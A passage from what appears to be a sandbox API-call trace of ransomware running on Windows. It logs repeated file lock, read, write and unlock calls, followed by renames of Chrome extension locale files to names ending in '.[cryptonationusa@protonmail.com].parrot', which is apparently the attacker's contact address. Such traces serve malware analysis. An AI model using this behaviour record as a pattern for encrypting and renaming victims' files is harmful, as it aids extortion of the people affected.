(in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31612c8 | out: hHeap=0x5b0000) returned 1 [0064.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3d80 | out: hHeap=0x5b0000) returned 1 [0064.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x22402b0 [0064.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x6a3d80 [0064.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0064.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0064.541] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e6, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.541] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.541] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.542] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.542] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xce, lpOverlapped=0x0) returned 1 [0064.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0064.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0064.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0064.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0064.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0064.542] GetLastError () returned 0x0 [0064.543] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0064.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0064.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0064.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0064.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0064.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0064.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0064.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0064.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0064.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0064.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0064.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0064.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0064.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0064.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0064.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0064.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0064.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0064.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0064.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0064.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0064.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0064.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1e8) returned 0x5d95b8 [0064.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0064.544] WriteFile (in: hFile=0x270, lpBuffer=0x5d95b8*, nNumberOfBytesToWrite=0x1e8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d95b8*, lpNumberOfBytesWritten=0x18da44*=0x1e8, lpOverlapped=0x0) returned 1 [0064.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d95b8 | out: hHeap=0x5b0000) returned 1 [0064.544] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.544] CloseHandle (hObject=0x270) returned 1 [0064.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d95b8 [0064.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d96f0 [0064.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d95b8 | out: hHeap=0x5b0000) returned 1 [0064.545] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0064.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d96f0 | out: hHeap=0x5b0000) returned 1 [0064.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31612c8 | out: hHeap=0x5b0000) returned 1 [0064.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a39c8 | out: hHeap=0x5b0000) returned 1 [0064.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x6a39c8 [0064.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d95b8 [0064.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0064.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0064.585] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e6, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.585] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.585] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.586] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.586] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xce, lpOverlapped=0x0) returned 1 [0064.586] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0064.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.586] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0064.586] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0064.586] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0064.586] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0064.586] GetLastError () returned 0x0 [0064.587] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0064.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0064.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0064.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0064.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0064.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0064.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0064.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0064.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0064.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0064.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0064.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0064.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0064.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0064.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0064.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0064.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0064.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0064.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0064.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0064.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0064.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0064.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1e8) returned 0x5d95b8 [0064.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0064.588] WriteFile (in: hFile=0x270, lpBuffer=0x5d95b8*, nNumberOfBytesToWrite=0x1e8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d95b8*, lpNumberOfBytesWritten=0x18da44*=0x1e8, lpOverlapped=0x0) returned 1 [0064.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d95b8 | out: hHeap=0x5b0000) returned 1 [0064.588] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.588] CloseHandle (hObject=0x270) returned 1 [0064.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x22402b0 [0064.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d95b8 [0064.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22402b0 | out: hHeap=0x5b0000) returned 1 [0064.588] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0064.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d95b8 | out: hHeap=0x5b0000) returned 1 [0064.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3161450 | out: hHeap=0x5b0000) returned 1 [0064.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68e268 | out: hHeap=0x5b0000) returned 1 [0064.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x22402b0 [0064.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5d95b8 [0064.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0064.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0064.591] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.591] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.591] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.592] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.592] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd8, lpOverlapped=0x0) returned 1 [0064.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0064.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0064.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0064.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0064.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0064.592] GetLastError () returned 0x0 [0064.592] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0064.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0064.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0064.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0064.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0064.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0064.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0064.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0064.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0064.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0064.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0064.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0064.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0064.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0064.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0064.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0064.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0064.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0064.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0064.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0064.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0064.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0064.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x6a39c8 [0064.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0064.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d0228 [0064.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a39c8 | out: hHeap=0x5b0000) returned 1 [0064.593] WriteFile (in: hFile=0x270, lpBuffer=0x5d0228*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0228*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0064.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0064.593] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.593] CloseHandle (hObject=0x270) returned 1 [0064.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x6a39c8 [0064.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0228 [0064.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a39c8 | out: hHeap=0x5b0000) returned 1 [0064.594] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0064.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0064.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3161450 | out: hHeap=0x5b0000) returned 1 [0064.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0064.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x6a39c8 [0064.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d95b8 [0064.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0064.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0064.597] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.597] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.597] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.598] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.598] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd8, lpOverlapped=0x0) returned 1 [0064.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0064.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0064.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0064.599] GetLastError () returned 0x0 [0064.599] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0064.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0064.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0064.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0064.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0064.599] HeapFree (in: hHeap=0x5b0000, 